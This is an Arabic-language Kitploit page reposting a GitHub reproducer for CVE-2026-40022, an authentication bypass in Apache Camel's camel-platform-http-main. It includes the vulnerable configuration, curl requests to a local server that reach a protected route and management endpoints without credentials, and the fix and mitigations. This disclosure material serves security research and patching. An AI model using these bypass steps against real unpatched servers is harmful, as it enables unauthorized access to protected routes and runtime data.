Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-40022 — مستنسخ لـ CVE-2026-40022: ثغرة تجاوز المصادقة في Apache Camel camel-platform-http-main على مسارات السياق غير الجذرية | Kitploit
أدوات/GitHubGitHub/oscerd/cve-2026-40022
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالمصادقةسوء التكوين
GitHuboscerd/cve-2026-40022

CVE-2026-40022

مستنسخ لـ CVE-2026-40022: ثغرة تجاوز المصادقة في Apache Camel camel-platform-http-main على مسارات السياق غير الجذرية

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

تجاوز المصادقة في camel-platform-http-main على مسارات السياق غير الجذرية (CVE-2026-40022)

يوضح هذا المشروع تجاوز المصادقة في مكون camel-platform-http-main الخاص بـ Apache Camel (خادم HTTP/الإدارة المضمن في بيئة تشغيل Camel main)، والمُتتبع باسم CVE-2026-40022. عند تمكين المصادقة وتكوين مسار سياق غير جذري (مثل /api أو /admin)، فإن معالج المصادقة يُغطي المسار الدقيق فقط، وبالتالي تصل الطلبات غير المصادقة إلى المسارات الفرعية، مما يوفر الوصول إلى المسارات المحمية ونقاط نهاية الإدارة.

إشعار: https://camel.apache.org/security/CVE-2026-40022.html

ملخص الثغرة

الخاصيةالقيمة
المكونcamel-platform-http-main (خادم HTTP/الإدارة المضمن في بيئة تشغيل Camel الرئيسية)
الفئات المتأثرةBasicAuthenticationConfigurer, JWTAuthenticationConfigurer, MainAuthenticationConfigurer
السبب الجذريعند عدم تعيين authenticationPath، يتم اشتقاقه من camel.server.path؛ مع نموذج التركيب الفرعي لـ Vert.x، يطابق معالج المصادقة مسار السياق الدقيق فقط، وليس مساراته الفرعية
CWECWE-287: مصادقة غير صحيحة (تجاوز المصادقة)
التأثيروصول غير مصادق إلى المسارات التجارية المحمية ونقاط نهاية الإدارة (مثل كشف بيانات وقت التشغيل في /observe/info)
الإصدارات المتأثرةمن 4.14.1 قبل 4.14.6، ومن 4.15.0 قبل 4.18.2
الإصدارات المُصلحة4.14.6, 4.18.2, 4.20.0
المُبلغJihang Yu
طلبات السحبapache/camel#22474 (الرئيسي), #22475 (4.18.x), #22476 (4.14.x)

التفاصيل الفنية

يقوم BasicAuthenticationConfigurer (و JWTAuthenticationConfigurer) بحل المسار الذي يحميه معالج المصادقة من properties.getAuthenticationPath()، مع الرجوع إلى properties.getPath() (مسار سياق camel.server.path) عندما لا يتم تعيينه صراحةً:

root@kitploit:~
String path = resolveAuthenticationPath(properties.getAuthenticationPath(), properties.getPath());

يقوم خادم Vert.x بتركيب موجه فرعي عند <contextPath>* ويُسجل معالج المصادقة داخل ذلك الموجه الفرعي عند المسار المُحل. في الإصدارات المتأثرة، يكون المسار المُحل هو مسار السياق نفسه، لذا — بالنسبة للموجه الفرعي المثبت بالفعل عند /api — ينتهي الأمر بمعالج المصادقة لمطابقة /api/api بدلاً من كل مسار فرعي. ونتيجة لذلك:

  • يتم تحدى /api/api (401) — المعالج موجود، لكن نطاقه خاطئ
  • لا يتم تحدى /api/hello (المسار التجاري الحقيقي) → يُخدم بدون بيانات اعتماد

يجعل الإصلاح resolveAuthenticationPath يُرجع /*، بحيث يُغطي المعالج جميع المسارات الفرعية للموجه الفرعي.

الإعداد

application.properties — مسار سياق غير جذري مع تمكين المصادقة وعدم تعيين authenticationPath:

root@kitploit:~
camel.server.enabled = true
camel.server.port = 8080
camel.server.path = /api
camel.server.authenticationEnabled = true
camel.server.basicPropertiesFile = auth.properties

يتم تقديم المسار عند /api/hello.

المتطلبات الأساسية

  • Java 17+
  • Maven 3.8+

لا حاجة لخدمة خارجية أو حاوية Docker — خادم HTTP الضعيف هو التطبيق نفسه.

خطوات إعادة الإنتاج

الخطوة 1: البناء والتشغيل

root@kitploit:~
mvn clean package -DskipTests
java -jar target/cve-2026-40022-platform-http-main-0.0.1-SNAPSHOT.jar

الخطوة 2: إظهار أن المصادقة مُفعّلة

root@kitploit:~
curl -i http://localhost:8080/api/api
# -> HTTP/1.1 401 Unauthorized
#    WWW-Authenticate: Basic realm="vertx-web"

معالج BasicAuthHandler نشط — لكن نطاقه خاطئ بالنسبة للمسار الدقيق.

الخطوة 3: التجاوز — الوصول إلى المسار المحمي بدون بيانات اعتماد

root@kitploit:~
curl -i http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
#    hello-response (this is a PROTECTED business route)

في الإصدار المُصلح (4.14.6 / 4.18.2 / 4.20.0) يُرجع هذا 401 غير مصرح.

الخطوة 4: مع بيانات الاعتماد يعمل أيضًا (كما هو مقصود)

root@kitploit:~
curl -i -u camel:propertiesPass http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK

التأثير: كشف نقطة نهاية الإدارة

ينطبق نفس الخلل على خادم الإدارة (camel.management.path، مثل /admin). يصل طلب غير مصادق إلى مسار فرعي مثل /admin/observe/info إلى نقطة نهاية الإدارة، والتي يمكن أن تكشف بيانات وقت التشغيل: مستخدم نظام التشغيل، دليل العمل/المنزل، معرف العملية، ومعلومات JVM ونظام التشغيل.

شروط الاستغلال

  1. بيئة تشغيل Camel main مع camel-platform-http-main.
  2. تمكين المصادقة على الخادم أو خادم الإدارة.
  3. مسار سياق غير جذري (camel.server.path / camel.management.path).
  4. عدم تعيين camel.server.authenticationPath / camel.management.authenticationPath صراحةً.

الإصلاح الموصى به

قم بالترقية إلى 4.14.6 / 4.18.2 / 4.20.0. يجعل الإصلاح (resolveAuthenticationPath) معالج المصادقة يُغطي كل مسار فرعي:

root@kitploit:~
default String resolveAuthenticationPath(String authenticationPath, String contextPath) {
    if (authenticationPath != null && !authenticationPath.isBlank()) {
        return authenticationPath;
    }
    return "/*";   // was: the exact context path
}

التخفيف

حتى الترقية:

  1. تعيين صريح لـ camel.server.authenticationPath = /* (و camel.management.authenticationPath = /*) بحيث يُغطي المعالج جميع المسارات الفرعية.
  2. إبقاء خادم الإدارة على شبكة موثوقة فقط.

الملفات

root@kitploit:~
CVE-2026-40022/
├── pom.xml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Camel main runtime entry point
    │   └── HelloRoute.java           # a protected platform-http route (/api/hello)
    └── resources/
        ├── application.properties    # non-root path + auth enabled (the vulnerable config)
        └── auth.properties           # basic-auth user (camel / propertiesPass)

إخلاء مسؤولية

مُقدم هذا المُعيد للإنتاج لأغراض البحث الأمني والاختبار المصرح به فقط، لثغرة مُعلنة ومُصلحة علنًا. لا تستخدمه ضد أنظمة بدون إذن صريح.

تنزيل الأداة